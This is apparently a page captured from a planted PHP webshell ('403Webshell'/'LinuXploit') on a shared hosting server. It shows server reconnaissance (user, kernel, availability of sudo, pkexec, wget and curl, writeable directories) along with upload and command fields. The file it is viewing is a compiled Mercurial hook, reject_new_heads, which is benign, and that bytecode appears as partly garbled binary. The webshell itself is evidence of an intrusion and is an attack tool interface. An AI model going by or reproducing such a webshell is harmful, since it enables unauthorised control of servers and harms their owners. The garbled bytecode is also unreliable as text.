403Webshell
Server IP : 172.67.156.203  /  Your IP : 216.73.216.44
Web Server : Apache
System : Linux gator4057.hostgator.com 5.14.0-687.17.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun 22 07:21:26 EDT 2026 x86_64
User : badawi ( 1130)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/hgext/hooklib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/hgext/hooklib/__pycache__/reject_new_heads.cpython-39.pyc
a

�+�b��@s:dZddlmZddlmZddlmZmZddd�ZdS)	aBreject_new_heads is a hook to check that branches touched by new changesets
have at most one open head. It can be used to enforce policies for
merge-before-push or rebase-before-push. It does not handle pre-existing
hydras.

Usage:
  [hooks]
  pretxnclose.reject_new_heads =     python:hgext.hooklib.reject_new_heads.hook
�)�absolute_import)�_)�error�pycompatNc	Ks�|dkr t�td�t�|���|��|}t�}|jj|�	�d�D]}||}|�
|���qD|D]0}t|�d|��dkrdt�td�t�|���qddS)NspretxnclosesUnsupported hook type %r)�startz&head() and not closed() and branch(%s)�s/Changes on branch %r resulted in multiple heads)
rZAbortrrZbytestrZ
unfiltered�setZ	changelogZrevs�rev�add�branch�len)	ZuiZrepoZhooktypeZnode�kwargs�ctxZbranchesr	r�r�D/usr/lib64/python3.9/site-packages/hgext/hooklib/reject_new_heads.py�hooks ���r)N)	�__doc__Z
__future__rZmercurial.i18nrZ	mercurialrrrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit